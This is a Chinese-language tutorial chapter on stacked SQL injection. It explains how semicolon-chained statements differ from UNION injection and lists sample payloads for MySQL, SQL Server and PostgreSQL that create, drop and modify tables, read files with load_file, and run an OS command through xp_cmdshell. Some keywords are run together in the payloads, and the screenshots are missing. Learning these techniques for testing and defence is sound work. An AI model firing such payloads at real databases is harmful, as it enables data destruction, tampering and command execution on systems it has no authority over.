MYSQL注入天書之stacked injection

標籤：

第三部分/page-3 Stacked injection

Background-8 stacked injection

Stacked injections:堆疊注入。從名詞的含義就可以看到應該是一堆sql語句（多條）一起執行。而在真實的運用中也是這樣的，我們知道在mysql中，主要是命令列中，每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做stacked injection。

0x01 原理介紹

在SQL中，分號（;）是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句後繼續構造下一條語句，會不會一起執行？因此這個想法也就造就了堆疊注入。而union injection（聯合注入）也是將兩條語句合并在一起，兩者之間有什麼區別嗎？區別就在於union 或者union all執行的語句類型是有限的，可以用來執行查詢語句，而堆疊注入可以執行的是任意的語句。

例如以下這個例子。

當執行查詢後，第一條顯示查詢資訊，第二條則將整個表進行刪除。

0x02 堆疊注入的局限性

堆疊注入的局限性在於並不是每一個環境下都可以執行，可能受到API或者資料庫引擎不支援的限制，當然了許可權不足也可以解釋為什麼攻擊者無法修改資料或者調用一些程式。

Ps：此圖是從原文中截取過來的，因為我個人的測試環境是php+mysql，是可以執行的，此處對於mysql/php存在質疑。但個人估計原文作者可能與我的版本的不同的原因。

雖然我們前面提到了堆疊查詢可以執行任意的sql語句，但是這種注入方式並不是十分的完美的。在我們的web系統中，因為代碼通常只返回一個查詢結果，因此，堆疊注入第二個語句產生錯誤或者結果只能被忽略，我們在前端介面是無法看到返回結果的。

因此，在讀取資料時，我們建議使用union（聯合）注入。同時在使用堆疊注入之前，我們也是需要知道一些資料庫相關資訊的，例如表名，列名等資訊。

0x03 各個資料庫執行個體介紹

本節我們從常用資料庫角度出發，介紹幾個類型的資料庫的相關用法。資料庫的基本操作，增刪查改。以下列出資料庫相關堆疊注入的基本操作。

Mysql資料庫

（1）建立一個表 select * from users where id=1;create table test like users;

?

執行成功，我們再去看一下是否建立成功表。

?

1. 刪除上面建立的test表select * from users where id=1;drop table test;

2. 查詢資料select * from users where id=1;select 1,2,3;

   負載檔案 select * from users where id=1;select load_file(‘c:/tmpupbbn.php‘);

   ?

3. 修改資料select * from users where id=1;insert into users(id,username,password)

   values(‘100‘,‘new‘,‘new‘);

   ?

   ?

   ?

   Sql server資料庫

4. 增加資料表select*from test;createtable sc3(ss CHAR(8));

5. 刪除資料表select*from test;droptable sc3;

   (3)查詢資料select 1,2,3;select * from test;

6. 修改資料select*from test;update test setname=‘test‘where id=3;

7. sqlserver中最為重要的預存程序的執行

   select*from test where id=1;exec master..xp_cmdshell‘ipconfig‘

   ?

   Oracle資料庫

   上面的介紹中我們已經提及，oracle不能使用堆疊注入，可以看到，當有兩條語句在同一行時，直接報錯。無效字元。後面的就不往下繼續嘗試了。

   ?

   Postgresql資料庫

8. 建立一個表 select * from user_test;create table user_data(id DATE);

   可以看到user_data表已經建好。

9. 刪除上面建立的user_data表select * from user_test;delete from user_data;

10. 查詢資料select * from user_test;select 1,2,3;

11. 修改資料 select * from user_test;update user_test set name=‘modify‘ where name=‘張三‘;

    ?

    ?

MYSQL注入天書之stacked injection